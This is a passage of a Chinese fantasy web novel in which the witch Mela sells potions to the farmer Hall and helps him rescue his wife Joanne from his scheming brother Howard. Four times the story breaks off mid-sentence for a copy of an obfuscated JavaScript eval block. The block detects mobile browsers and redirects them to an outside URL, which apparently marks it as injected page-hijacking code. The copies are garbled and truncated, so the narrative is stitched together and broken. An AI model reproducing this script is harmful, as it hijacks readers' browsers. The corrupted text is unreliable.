多尼克还在往前走着,车轮骨碌碌地碾过泥地,留下两道深深的车辙,拉着套在多尼克身上的绳子的霍尔,身体却陡然一僵。 他刚刚没有听错吧?她说要去哪?黑暗森林?那个恐怖且危机四伏的黑暗森林? * 霍尔最后还是答应了下来。 哪怕他已经隐隐猜到了梅拉的身份或许并不像他想象的那样简单。 她应该是女巫吧。霍尔想。 可他并没有从她身上感受到危险的气息,她也不像传说中一样要把他抓起来折磨的样子。 等等,或许她是打算等到黑暗森林再动手呢? 霍尔畏惧地咽了咽口水,又不敢发出太大的动静,生怕让梅拉觉察异样。 其实霍尔完全可以想个借口拒绝梅拉。 然而一想到这里距离黑暗森林至少还有五公里远,如果没有他的帮助,梅拉就得靠两条腿硬生生走五公里,怕是鞋底都得直接磨穿。 霍尔无法控制地心软了。 说不定情况没有那么坏,梅拉并不是女巫呢?又或许她是个难得一见的好女巫。 霍尔想方设法地自我安慰到。 接下来碰到岔路口的时候,霍尔一拉手中的绳子,促使多尼克调转方向,朝通往黑暗森林的那条道路走去。 “在天亮之前,我们应该就能到黑暗森林附近,到时候……”霍尔想说到时候我们就分道扬镳吧。 真让他进入黑暗森林,他是绝对不敢的。 但没等他想好如何委婉地与梅拉商量他们分开这件事,梅拉却主动接上了他的话:“到时候我们就分开吧。” 梅拉倒也不是非要为难霍尔。 能碰到霍尔,并且霍尔愿意把她送到黑暗森林附近,已经属于是意外之喜了。 “那可真是太好了……”霍尔太过高兴,一不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782052|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小心就把心里话都秃噜了出来。 好在他小心翼翼地扭头,试图查看梅拉的脸色时,发现她正在给怀里的乌鸦梳理羽毛,像是没听到他刚才说的话似的。 注意到霍尔的视线,梅拉抬头,朝他露出一个不解的微笑。 “没什么,我只是想给多尼克拿根胡萝卜。”霍尔此地无银三百两地替自己解释了一句。 幸好他的兜里真的还藏着半根胡萝卜,正好现在拿出来喂给多尼克。 也是辛苦它带着他木板车奔波了整整一天一夜。 离黑暗森林还有五六米的时候,多尼克的蹄子停了下来。 看着不远处阴郁压抑的森林,霍尔喏喏地道:“黑暗森林到了。” “谢谢。”梅拉抱着塞拉斯,从木板车上跳下来,再一次与霍尔道谢。 “不、不用了,祝您好运。”霍尔紧张到没发现自己对梅拉用了敬称,马不停蹄地赶着多尼克调转方向,往回走去。 梅拉看着霍尔离去的背影,轻轻地念了一串咒语,如果以后霍尔遇到麻烦想找她帮忙的话,这个咒语就能带着他来见她。 虽然当时的霍尔完全没想过,他还会有来找女巫帮忙的那一天。 * 霍尔喘着粗气,把自己离开黑暗森林后的事情简单地交代了一下。 当时他正推着木板车打算回家,结果在路上遇到了村子里的一个小姑娘明妮。 “明妮,你怎么往这么危险的地方跑?”霍尔难得朝人板起脸,他的身后就是黑暗森林,虽然他有了女巫的允许后,可以毫发无损地进去又出来,可明妮跟他不一样。 如果她就这么带着好奇心冒冒失失地闯进去,说不定会碰到危险。 “霍尔叔叔,我都知道的,你每个月都要往这里跑一趟。”明妮却道。 霍尔的脸色变了一下,像是让明妮的话打了个措手不及。 但他这么多年顶着压力来与梅拉进行交易,胆量早就练了出来,至少暂时还能稳住脸上的表情,骗过明妮这样的小孩子。 “哎,霍尔叔叔也不瞒你,这黑暗森林外围有很多好东西,柴火、菌子……都是宝贝。但这是大人才能来的地方,你懂吗?小孩子如果轻易靠近这里,会被野兽叼走吃掉的。” “这些都无关紧要,霍尔叔叔,我是特地来找你的。”明妮的脸上流露出不加掩饰的着急。 “发生了什么事?你说出来,霍尔叔叔一定会帮你的。”霍尔蹲下来,想摸摸明妮扎了两根辫子的脑袋。 明妮却紧紧地握住他的手臂,“霍尔叔叔,乔安妮婶婶被霍华德大叔带走了,我听到了,他想把乔安妮婶婶带去见领主大人。” “他说,乔安妮婶婶的脸早就毁了,如今能变成这么漂亮的样子,一定是与女巫做了交易。” “他要大义灭亲,揭发乔安妮婶婶。” 听了明妮这一番话,霍尔的手顿时从明妮的脑袋上失力滑落,他的眼睛瞪得巨大,仿佛不敢置信自己的亲哥哥竟然会这么做。 什么大义灭亲,霍华德那家伙一定是馋领主的赏金了。如果能确定乔安妮与女巫有关系,作为揭发她的人,霍华德能拿到整整二十枚金币的赏金。 “不,不,我是不会让他这么做的。”霍尔丢下木板车,拔腿就想往家里跑。 明妮却死死地拖住他的手,阻止了他,“霍尔叔叔,你如果就这么回去,待会霍华德大叔把你一起交给领主大人怎么办?你可是乔安妮婶婶的丈夫,她与女巫交易这事你也是知情人,知情不报会被领主大人派人把你活活打死的。” 对,对,明妮说的没错,霍尔愤怒的脑袋冷静了一些,接着他头也不回地往黑暗森林里冲。 他要去找梅拉,他想,梅拉一定会有办法的。 只不过,他不知道梅拉的小木屋具体在什么位置,梅拉也说对他这样的老好人来说,知道得太多不是什么好事,所以一直只让他在树下交易。 因此直到月亮高高挂在天幕上,一身狼狈的霍尔才终于敲响了小木屋的门。 好在有梅拉的咒语在,霍尔一路找来都没被什么野兽盯上,只不过他心里着急,跑起来不管不顾的,跌撞了好几次。 沾了一身的泥和草叶。 “所以,有什么办法能帮帮我吗?”霍尔一脸期盼地看向梅拉,他深知与梅拉做交易的方法,立刻补充了一句,“不管需要多少钱,就算是我的全部身家,我也愿意支付。” 闻言,梅拉的唇角噙上了一抹笑意,“办法么?当然是有的,就看你想要怎么做了。” 看在霍尔是老顾客的份上,梅拉贴心地给出了好几个选择,任他挑选。 25. 第 25 章 “这是一瓶隐形药剂。” 梅拉走到靠墙的橱柜前,伸手,拿下一个圆形的玻璃瓶,随着她的动作,碧绿色的液体在瓶子里泛起一阵轻微的涟漪。 “只要喝下半瓶药水,在接下来的三个小时内,不管是谁都没有办法看见你。这样你就能偷偷地找到乔安妮,让她喝掉剩下的半瓶药水后跟着你一起离开了。” “这是一瓶大力药剂。” 梅拉再度转身,拿出一个菱形的玻璃瓶,里头盛着深蓝色的液体,在煤油灯的灯光下,折射出了诡异的绮丽光彩。 “以你常年干活锻炼出来的力量,喝下它之后,我敢保证,你甚至能直接赤手空拳打死一头熊。” “到时候别说是光明正大地把乔安妮抢回来了,还能把你那个黑心的兄弟狠狠地揍一顿解气,如何?” “这……”霍尔有些犹豫,一时半会儿他还真选不出买哪一瓶更好。 隐形药剂当然很不错,可以避免与霍华德直接发生冲突,悄无声息地救走乔安妮。 可霍尔私心里对霍华德不是没有怨气的,任谁突然闯进自己家,还把自己的妻子掳走了,也不可能没有半点脾气。 就算是亲兄弟也不行。 不如说,正因为是亲兄弟,才让一贯好脾气的霍尔更加怒不可遏。 见状,莱克斯开口了,“我想,这两种药剂并不适合眼下的情况。” 梅拉挑眉,示意莱克斯解释一下原因。 “如果不能把罪魁祸首彻底解决了,就算你暂时把乔安妮救了出来,难保她不会再被掳走第二次。”莱克斯看向霍尔。 而霍尔就算把霍华德狠狠地揍一顿,暂时让他求饶,放过乔安妮又如何,说不定霍华德还会因此怀恨在心,下一次干脆连霍尔都不放过。 霍尔的亲兄弟,他应该最清楚那是个什么德行的人才对。 “莱克斯说的没错,霍华德还真有可能这么干。” 霍尔回想起那些年,霍华德仗着自己是大哥,欺负了他不知道多少次。一旦他有什么东西被霍华德看上了,霍华德就算抢不过来,也要费尽心思把东西弄坏。 而霍尔尽管委屈,也拿霍华德没办法,谁让根据王国的继承法,霍华德才是这个家里将来的继承人呢,而霍尔作为小儿子,只能分到父母的一部分财产,之后还得带着这点财产出去另立门户。 对于未来要接手家里的房子与土地的大儿子,霍尔与霍华德的父母难免从心底就偏向霍华德。 而在父母的纵容下,霍华德渐渐从一个小坏胚长成了一个大坏胚。 要不是霍华德后来娶了一个商人的女儿,搬到了镇上去住,几乎和霍尔断联,说不定这些年要闹出多少风波。 想到这,霍尔越发担心起了乔安妮的处境。 “如果是这样的话,我这里还有一瓶昏迷药剂。你把它给霍华德全灌下去,保管他这辈子都醒不过来。” 梅拉一阵翻翻找找,找出了指节长的一小瓶粉色药剂。 别看这一小瓶药剂的分量还不够前头那两瓶的五分之一,但药效可比那两瓶猛多了。 “……有没有既能教训到霍华德,让他不敢再对乔安妮动手,又不至于让他受到如此严重伤害的药剂?” 沉默片刻,霍尔艰难地道。 他虽然对霍华德的做法十分愤怒,恨不得鼻青脸肿地把他揍一顿,但真让他看着霍华德喝下药剂后一辈子都醒不过来,他又难免于心不忍,这和直接杀了霍华德有什么区别。 不管那是不是他的亲兄弟,哪怕今天对乔安妮动手的是一个陌生人,霍尔也没办法狠得下心来。 梅拉听了霍尔的话,像是一点也不意外,唉,她早就知道霍尔是个心软又善良的老好人了。 而好人和坏人的区别就在于,让好人做一件坏事,比要他的命还难,还没动手呢,潮水般涌来的愧疚就先把他给压垮了。 “不过,你说的这种药剂我没有,女巫做出来的东西,哪有全然无害的呢?从我手中拿出来的药剂,危险程度只有轻微、严重、和极度严重。”梅拉托着腮,意兴阑珊地道。 即使是前面梅拉提到的那两种药剂,也是存在一点小小的副作用的。 比如喝了隐形药剂之后,接下来的一周内,霍尔在其他人眼中的存在感就会降低,有可能他当面走过去,都能直接被忽视。 再比如霍尔喝了大力药剂之后,等到药效一过,他就会全身都提不起劲,只能像根软面条一样瘫在床上,直到副作用自己消失。 “这么严重?”霍尔瞪大了眼睛。 “我又不是神明,能毫无代价就实现一场奇迹。想要发挥出这些神奇的药效,当然需要付出一点代价啰。”梅拉振振有词地答到。 这难道不是很公平吗?毕竟世界上哪有什么不劳而获的好事呢? “那、那你给我的那些变形药剂的副作用是什么?”霍尔问道,语气十分急切。 他当初只顾着向梅拉买下药剂,压根没想到还有副作用这回事。 更何况,他亲眼看着乔安妮喝了这么多年的变形药剂,似乎,没出现什么问题啊? 梅拉歪了歪头,眼里浮动着波光粼粼的笑意,“这个你放心,变形药剂的副作用非常小,只不过是看着镜子里的那张陌生的脸越来越久,便再也无法记起自己真正的模样而已。” 不过既然都已经用上了变形药剂,还一连喝了这么久,大概本人也并不希望变回原来的样子了吧? “原来是这样。还好,还好。”霍尔长长的舒了一口气,显然也觉得这个副作用还在能接受的范围内。 “不过你确定还有时间和我继续纠结这个吗?现在距离太阳升起来可没剩多久了,等天一亮,说不定你的亲大哥就会带着乔安妮前去觐见领主。到时候你再想把她救出来,可就要多费不少功夫了。” 梅拉把话题引回正轨,催 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787925|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 促霍尔赶紧做决定。 这时,莱克斯又开口了,他劝霍尔既然不愿意买昏迷药剂,倒不如把隐形药剂和大力药剂都买了,然后先去和霍华德见面,尝试从他的嘴里套话,看看他是为什么突然想要靠乔安妮从领主手里领到赏金。 毕竟按照霍尔之前说的,霍华德娶了一个商人的女儿,还搬到了镇上,那他的生活应该过得很不错才对。 如非经济上出现了什么严重的问题,他有什么必要忽然回村子里找霍尔这个断联许久的弟弟呢? 而买下大力药剂和隐形药剂,也是为了以防万一,若是霍尔和霍华德谈到一半谈崩了,喝下药剂的霍尔还能保证把人打晕,再悄悄带着乔安妮逃回小木屋找梅拉。 霍尔一听,觉得莱克斯说的很对,同梅拉立下欠条,揣着两瓶药剂就匆匆离开了。 他要赶在天亮之前到镇上拦住霍华德才行。 等霍尔走后,本应该睡觉,却熬夜到现在的梅拉随着上涌的困意,懒洋洋地打了个哈欠,眼角甚至滑出了一点湿意。 她看向一旁低着头,不知道在想些什么的莱克斯,“我总觉得你刚才对霍尔说的那番话别有目的。” 看起来莱克斯是在为霍尔出谋划策,可话又说回来,他和霍尔的交情也就比陌生人强那么一点点,哪里值得他如此贴心,连后路都给霍尔想好了。 “至少有一点,是为了把两瓶药剂推销出去,这样算起来,我头上的债务是不是能少一点了?” 莱克斯抬眸,唇角微勾,没有否认梅拉指控他别有目的,但具体是为了什么,他却又守口如瓶起来。 反正梅拉也不是真心想知道他的目的。 但是对于莱克斯说的用推销药剂作为抵消债务的方式,梅拉给予了肯定,“那就两瓶药剂各拿出十分之一,算你还了我六枚银币好了。” 她刚才一下子还真没转过弯来,只想着让霍尔二选一,没想到还能让他干脆把两瓶药剂都买下来。 一定是没睡好觉才导致她精神不振。 梅拉忍不住又打了个哈欠。 “对了,如果每一种药剂都有其相对应发副作用的话,那治愈药剂呢?”莱克斯忽然发问。 “唔,”此时梅拉已经躺回了摇椅上,把毯子卷吧卷吧盖好了,听到莱克斯的问题,她含糊不清地答到,“只要不是长期服用,其实也没什么太大的副作用,毕竟这是拿来救命的药剂。只不过谁如果喝多了的话,大概会提前透支剩下的生命力,早早地衰老而死吧。” “就像一朵花,早早地盛开了,当然也会早早地凋零。” 说完,不等莱克斯再问点别的,梅拉便彻底闭上眼睛,睡了过去。 只不过睡梦中,梅拉模模糊糊还升起了一个念头,那就是期待明天霍尔带着乔安妮来到小木屋,再好好说说他见到霍华德之后的事。 总觉得能让莱克斯这么上心的事,里头一定有许多值得挖掘的秘密。 26. 第 26 章 一整天下来,梅拉都因为记挂着霍尔的事而显得有些心不在焉,连好端端地走着路,都差点自己把自己给绊了个跟头。 好在当时莱克斯就在身边,眼疾手快地伸手拽住了她的胳膊,扶了她一把。 “没事吧?”莱克斯关切地问。 “没事。”梅拉好不容易重新站定。 下一秒,她却像是终于意识到了什么,忽然右手握拳,敲在了左手的掌心上,“不对,我得为霍尔占卜一下,看看他到底能不能成功救出乔安妮。” “按理来说,既然他已经拿着你的药剂走了,总不至于对付不了霍华德一个普通人吧。”莱克斯觉得不应该。 就算实在出现了别的意外,譬如霍华德还纠结了其他的帮手,人多势众,霍尔双拳难敌四手,但只要他喝下了隐形药剂,想要轻松带走乔安妮应该也不难。 “你不懂,我今天这么不顺利,一定是某种预兆正在提醒我呢。”梅拉神秘兮兮地道,“女巫在感应这方面可是很灵敏的。” 想当初差点在白松镇出事前,梅拉就频频经历类似的事情,不是不小心撞倒了什么瓶瓶罐罐,就是失神间打碎了碗碟。 连塞拉斯看了都难得硬气一回,吩咐梅拉小心些,多看着点路,别一会儿没注意又乒乒乓乓的闹出大动静来。 等到离开白松镇,在黑暗森林住下来,梅拉才后知后觉地意识到,原来先前那些看似是她不小心才造成的失误,其实是在不断提醒她:小心!有不好的事情要发生了! 当然了,也不是每个女巫的感知都这么强,至少某些学艺不精的小女巫是没法做到像梅拉这样的。 说到底,还是梅拉天赋异禀。 梅拉踮起脚,从橱柜的最上层摸到了她的水晶球。 只不过将水晶球拿下来的时候,差点连木头制成的底座也被她一起带了下来。吓得梅拉头一偏,赶紧躲开了。 这玩意儿要是结结实实地砸到脸上,疼不说,百分百会留下一道难看的红印。 原本对梅拉的说辞将信将疑的莱克斯:“……” 这下他是彻底相信梅拉说的预兆有点道理了。 因为他从没见梅拉这么倒霉过。 “幸好,看来那个倒霉蛋是霍尔无疑,我只不过是被他牵连的。”见状,梅拉原本还吊着的一颗心反倒放松了下来。 如果她也要跟着倒大霉,这块木头底座绝不可能如此轻易的就被她躲过去,即使砸不到脸上,少说也要砸到脚上,让她打起精神注意未来。 “不过么,从这个倒霉程度来看,霍尔就算成功带走了乔安妮,他们逃出来的路上大概也要碰到不少的挫折。”梅拉若有所思地道。 “等一下,我的水晶球上怎么沾了这么多的灰?” 梅拉忽然发觉手上的触感不对劲,低头一看,没想到水晶球上竟然裹了不算薄的一层灰。 本来水晶球在没有触发作用的时候,看起来便是一颗平平无奇的玻璃球,里头还缠绕着脏兮兮的灰絮,以至于上头掉了层灰都并不显眼。 但是现在发现自己摸了一手的灰后,梅拉不由皱着眉头一脸嫌弃。 “莱克斯,你最近是不是忘了点什么?” 看在相处了这几年的份上,梅拉的质问都变得委婉了起来。 换做以前,她只会直接怀疑是莱克斯偷懒了。 虽然梅拉承认,她是有很长一段时间没有用过水晶球了,但每隔一段时间,莱克斯就会拿毛巾将她的水晶球擦拭一遍,怎么看也不应该落这么厚一层灰才对。 然而,梅拉又看了眼手上的灰黑,估计起码有两个月,莱克斯忘记给她擦水晶球了。 不曾想莱克斯的眼神分外无辜,“应该是塞拉斯最近太忙了,不小心把擦水晶球的活给忘了吧?它几个月前还同我说,它飞上去擦水晶球更方便,省得我拿上拿下的,万一将水晶球摔了怎么办。我觉得它说的对,就把这项活计交给它来做了。” “忙?它在忙什么?” 梅拉这才意识到,最近这阵子耳边清净了不少,她还以为是塞拉斯终于学会了消停,没想到原来另有隐情。 “唔,好像是之前塞拉斯出门玩,偶遇了一位年轻漂亮的白鸽小姐……”莱克斯捏着下巴回忆道。 原来是塞拉斯碰到让它一见钟情的小鸟了呀,梅拉不知为何,突然萌发了一种养了那么久的孩子总算会拱白菜回来了的诡异欣慰感。 “但是,乌鸦和白鸽,能有结果吗?”梅拉陷入了短暂的迟疑之中。 不管怎么说,至少从种族上,乌鸦和白鸽就不太相配吧? “嗯……”莱克斯同样开始沉思。 按照他的观点,乌鸦和白鸽之间当然是不可能有结果的,但塞拉斯可不是一只普通的乌鸦,而是一只会口吐人言的乌鸦。 从这一点上看,它无疑属于乌鸦一族的智者了。 也正因如此,塞拉斯才会突破寻常乌鸦的眼光,看上一只年轻貌美的白鸽吧。 “算了,等塞拉斯回来,我再好好地问问它吧。” 梅拉看了眼空荡荡的栖杆,决定到。 刚才让塞拉斯的事情打了个岔,现在梅拉把注意力重新拉回来,她拿来干净的毛巾,将水晶球上的灰擦拭干净,然后用手在上面轻轻一抹: 水晶球内的灰絮顿时在她眼前变化成一阵迷幻的烟雾。 “霍尔·威哈特能成功救出她的妻子乔安妮吗?”梅拉对水晶球提出了第一个问题。 水晶球内的烟雾开始改变,作出问题的解答。 “嗯?可以?但是有很大的危险。” 这和梅拉之前猜测的结果差不多。 “那霍尔·威哈特会在带着乔安妮逃跑的路上失败吗?” 梅拉对水晶球提出了第二个问题,这回她缩小了范围。 水晶球中很快又有了新的变化。 “有很大的几率会失败,也有很小的几率能成功,意思是全凭运气咯?” 梅拉盯着水晶球,了然。 这也就意味着,若是霍尔的运气足够好,完全靠自己可以摆脱困局。 但是霍尔的运气似乎一向是不好也不坏。 这让梅拉一时间有些犹豫,到底要不要出手帮忙,她自觉已经帮得够多了。 别看梅拉曾经对莱克斯说起改变命运时,那叫一个满不在乎,好像只要她伸手轻轻一拨弄,就能让莱克斯的命运走向另一个方向,但真要说起来,能够改变命运,其实是莱克斯本人的决心更重要。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815694|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 因为莱克斯不相信命运,决心靠自己改变命运,才引动了他的那颗星辰,偏移了既定的轨道。 否则像梅拉这样作为一个旁观者,去插手霍尔的命运,得要付出额外的代价才行。 “好吧,第三个问题,如果霍尔不幸被抓住了,会不会对我产生糟糕的影响?”梅拉对着水晶球问道。 水晶球给出的回答分外肯定,即一旦霍尔被抓,梅拉一定会受到牵连,卷入到一场麻烦之中。 “看来我是非得掺和进来不可了。” 确定了要帮忙,梅拉反倒松了口气。 “你打算怎么帮?”莱克斯旁观完全程,有些好奇。 难道梅拉打算离开黑暗森林,亲自出马? “当然——”梅拉笑眯眯的,故意拖长了尾调,“不是啦。” 虽然说插手别人的命运一定要付出代价,但这个代价是大是小,完全可以由梅拉自己决定。 譬如她如果离开黑暗森林,亲自去给霍尔帮忙,那必然要付出极大的代价,极有可能路上遇到发狂的野兽,或是引来了牧师、领主手下的骑士这类本不该出现的人。 但梅拉若是换一种方法,假如只是在天平上,属于霍尔的这一侧放上一枚分量极轻的砝码,帮助天平向霍尔这端倾斜,那代价便很小了。 大概是吃苹果时吃到一条虫子这样的代价。 ……虽然也有点恶心就是了。 不过没关系,既然决定了要帮忙,梅拉也不是不能忍受这点小小的恶心。 说起来,还多亏了几年前,梅拉曾收集到了不少克丽芙的果实,最终在一次次的实验下,她成功炼制出了指甲盖大小的一小瓶幸运药剂。 幸运药剂,顾名思义,即喝了能让人变得幸运的药水。 虽然幸运向来虚无缥缈,但一点点的幸运,往往就能发挥出巨大的效果。 “既然霍尔逃跑失败是导致我卷入麻烦的起点,那么只要让他别失败不就好了。” 梅拉拔开木塞,一股脑地喝尽了拇指瓶里的深粉色药水。 在梅拉变得幸运的前提下,同样也能影响到霍尔的运气,说不定就能帮他逃过一劫。 “不过这药水可真难喝。”梅拉咂了咂嘴,点评道。 概因以往梅拉的药剂都是出售给别人,从来不曾考虑过好不好喝这一问题,等现在她自己尝了才发现,这味道简直一言难尽。 既不是全然的苦涩,也不是满满的酸楚,其中还掺杂了那么一星半点的辛辣,复杂得梅拉根本不想回味。 ——她现在只想喝杯花草茶压压嘴里的药水味。 “莱克斯,快,给我倒杯花草茶来,记得加满满两大勺的蜂蜜。” “来了。”莱克斯早在梅拉拿出那瓶珍藏了好几年的幸运药剂时,就隐隐有了某种预感,只不过他还没来得及行动,梅拉就闭着眼把药水喝完了。 好在现在他端来茶杯的时机也不算迟。 梅拉接过茶杯,一口气喝了大半杯甜滋滋的茶水,才终于产生了一种类似于劫后余生的庆幸。 “……下次你一定要记得提醒我,在炼制药剂的时候考虑一下口味问题,我会尽量做出好喝的药剂的。” 梅拉放下茶杯,郑重地道。 27. 第 27 章 “呼。” “呼。” 风裹着粗重的呼吸,吹过枝叶,流向远方。 漆黑的夜色中,两道身影互相搀扶着,跌跌撞撞地往前跑去。 坐落在森林深处的小木屋此刻仍然往外透着昏黄的光,屋子里,两人一鸟都十分罕见地醒着。 因此甫一听见敲门声,离门最近的莱克斯迅速反应过来,去开了门。 男人形容狼狈,脸上不仅沾着泥、碎叶,甚至还有细细的黑色小刺,像是来之前在地上滚了一圈,又不幸扎入了灌木丛中。 幸亏他忍耐力十足,竟然能顶着这样一张脸一路走来。 相比之下,被他扶着胳膊的女人虽然面色苍白,神情凄然,却只是鬓边散下了稀稀拉拉的几缕碎发。 见到门后站着的陌生少年,她忙不迭把碎发往耳后拨,尽力端肃表情,仿佛此刻不是随着丈夫仓皇地上门求救,而仅仅是普通的登门拜访。 霍尔的这位妻子,似乎对仪容格外重视。莱克斯若有所思地将这一幕收入眼底。 “进来吧。”莱克斯侧身,给两人让出一条通道。 霍尔向莱克斯投去感激的一眼,便扶着乔安妮进入了小木屋之中。 梅拉原本正靠在书桌边,拿着一根狗尾巴草逗弄塞拉斯。 塞拉斯因为心虚的缘故,爪子抓着栖杆,也不敢躲,只能硬着头皮忍受那毛茸茸的触感一下又一下地挠在自己的喙下。 好在随着霍尔两人进来,梅拉的注意力从它的身上移开,手上的动作也跟着停了下来。 塞拉斯高兴地松了口气,鬼鬼祟祟地把自己往角落里挪。 梅拉没有管它。 她的视线在扫到霍尔那张堪称惨不忍睹的脸时,露出了十分诧异的神色。 如果她不是非常肯定自己炼制的药剂一定不会出错的话,此刻必定要怀疑之前喝下的那瓶幸运药剂到底有没有生效了。 否则怎么会这么惨? 假如这已经是幸运药剂生效后的结果了的话,梅拉忍不住目露同情,那霍尔原本该有多倒霉啊。 让梅拉这么一瞧,霍尔有些不自在起来,下意识想用闲着的那只手去挠脸,结果没防备碰到脸上散落的那些小刺,顿时疼得龇牙咧嘴了好一阵。 “你小心点呀。”乔安妮注意到霍尔的动作,眼底随即涌上心疼。一时间想上手帮他把刺拔了,又担心刺太小,自己容易弄巧成拙。 要是不小心让刺折断在里面,那可就麻烦了。 如果手上有根缝衣针就好了。乔安妮想,这样她就能替霍尔把脸上的刺都挑出来了。 “需要借你们一根缝衣针吗?” 梅拉像是有读心术似的,替乔安妮说出了心中的想法。 “……如果可以的话……”乔安妮踌躇着开口。 这些年霍尔一直与女巫做着交易,按理来说乔安妮应该对梅拉有所了解,不应该像其他人一样害怕她才对,但,这还是乔安妮头一回与梅拉见面。 当年轻貌美的女巫笑吟吟地看着她时,乔安妮下意识心生怯意,就像看着一朵玫瑰,动人的风景下暗藏着刺人的危险。 乔安妮不知道自己该不该伸手,接过女巫的赠予。 “当然没问题。莱克斯———”梅拉拖长了尾调,“帮他们把缝衣针给找出来。” 莱克斯径直走向门边的矮柜,俯身,拉开其中一个抽屉,拿了根闪闪发光的缝衣针出来。 “谢谢。”乔安妮喏喏地和莱克斯道了声谢。 随后她借着头顶的灯光,小心翼翼地捧着霍尔的脸,找准位置,浅浅刺入缝衣针,将那些黑色的细刺一根一根地挑了出来。 “说起来,你们到底是怎么弄成这个样子的?”梅拉好奇地问道。 “我们……” 听到梅拉的问题,霍尔想也不想便张嘴打算回答,只不过刚吐出一个音节,立刻收到了乔安妮瞪过来的眼神,他只好赶紧又把嘴巴闭上,示意自己不说了。 “还是让我来说吧,”乔安妮抿了抿唇,接过话头,“霍尔是为了救我才变成这样的。” 乔安妮本想长话短说,但梅拉制止了她:“别,我有的是时间可以用来听故事,你慢慢说就行。” 好吧,既然是梅拉主动要求的,乔安妮便原原本本地把事情的经过讲了一遍。 整件事说起来,还得回到乔安妮被霍华德带走之前。 昨天,霍尔像往常一样,趁着天色还没完全亮起来,便推着木板车离开了村子,一路上谁也没有惊动。 乔安妮则待在家里,先是去把栅栏打开,让养了好几年的几只大白鹅自己出去觅食。 随后她拿来纺锤,坐在椅子上,将提前处理好的荨麻不断捻成丝线,为接下来的纺织做准备。 一个上午的时间悄然过去。 正当乔安妮感到腰部发酸,忍不住站起来绕着屋子走一走的时候,霍华德忽然从门外闯了进来。 说闯其实也不算对,因为霍华德是大摇大摆地从门外走进来的。 “好久不见,乔安妮。”霍华德假惺惺地同乔安妮问好。 那双与霍尔如出一辙的褐色眼珠滴溜溜地不停打转,只不过越看越是嫌弃。 无他,在见惯了好东西的霍华德眼里,这个家实在太穷了。 既没有柔软的地毯,也没有色彩华丽的挂画,家具更是少得可怜,一台手纺车就占据了大半个角落。 霍华德嫌弃的嘴脸落入乔安妮眼里,本就不欢迎霍华德上门的乔安妮直接抿紧了唇,冷冷地道,“是好久不见了,上回见你还是在葬礼上。” 那是霍尔父母的葬礼。 尽管霍华德已经有八九年没回来见过他的父母兄弟了,而霍尔与霍华德本身的感情也算不上深,但父母的葬礼这种大事,霍尔总不好不通知他。 于是跟乔安妮商量过后,霍尔还是托人捎了个口信到镇上,通知了霍华德举办葬礼的时间和地点。 然而一直到葬礼开始前,霍华德才匆匆赶了回来。 好不容易,等霍尔请来的牧师做完仪式,棺材下葬后,霍华德迫不及待地开口了。 他说,要求霍尔将父母留下的财产与他平分。 “平分遗产?” 前来参加葬礼的亲戚与村民们听到霍华德的话,忍不住小声地议论起来。 感受到那么多人的打量,霍华德浑然没有流露出窘迫的模样,反而昂着下巴,捋着唇边刻意留出的一道小胡子,态度十分的理直气壮。 “按照王国的继承法,我本来就应该拿走三分之二的遗产,如今只分走一半,已经够对得起你这个弟弟了。更何况,我还没要求你把土地的那份钱也算上呢?你就知足吧,霍尔。” 霍华德对霍尔道,仿佛是在施舍。 而霍尔黑着脸,大声地驳斥他,“当初明明是你看不起家里的这点钱,也不愿意和父亲一样继续当个老老实实的农民,娶了一名商人的女儿后就跟着人搬到了镇子上,再也没有回来。父亲没办法,才把土地留给了我来种。” 结果现在霍华德却说,这些东西本来就是属于他的?霍尔必须得为自己继承了父母的钱和土地向他支付代价,简直可笑至极! 乔安妮站在霍尔的身旁,同样为自己的丈夫愤愤不平,但她只能捏紧了粗糙的麻布裙摆,一言不发。 因为霍华德没有说错,这就是王国明文规定的法律。 哪怕霍华德这些年的行径让人不耻,但他作为长子,天然在继承权这一方面拥有着霍尔所没有的优势。 如果霍尔不同意平分遗产,霍华德是能把他告到领主面前的。 而还没有离开的牧师,就是霍华德最好的证人。 想到这,不少亲戚围上来,劝说霍尔答应霍华德的条件,起码这样他还能留下一半,否则真按照继承法来算,他最后就只能拿到三分之一而已了。 没办法,霍尔不得不点头同意了这件事。 乔安妮永远记得那天霍华德带着一大笔钱扬长而去的背影,以及他洋洋得意的眼神。 好在霍华德拿了钱后,大概是觉得这个弟弟没有其它值得他觊觎的地方了,之后再也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 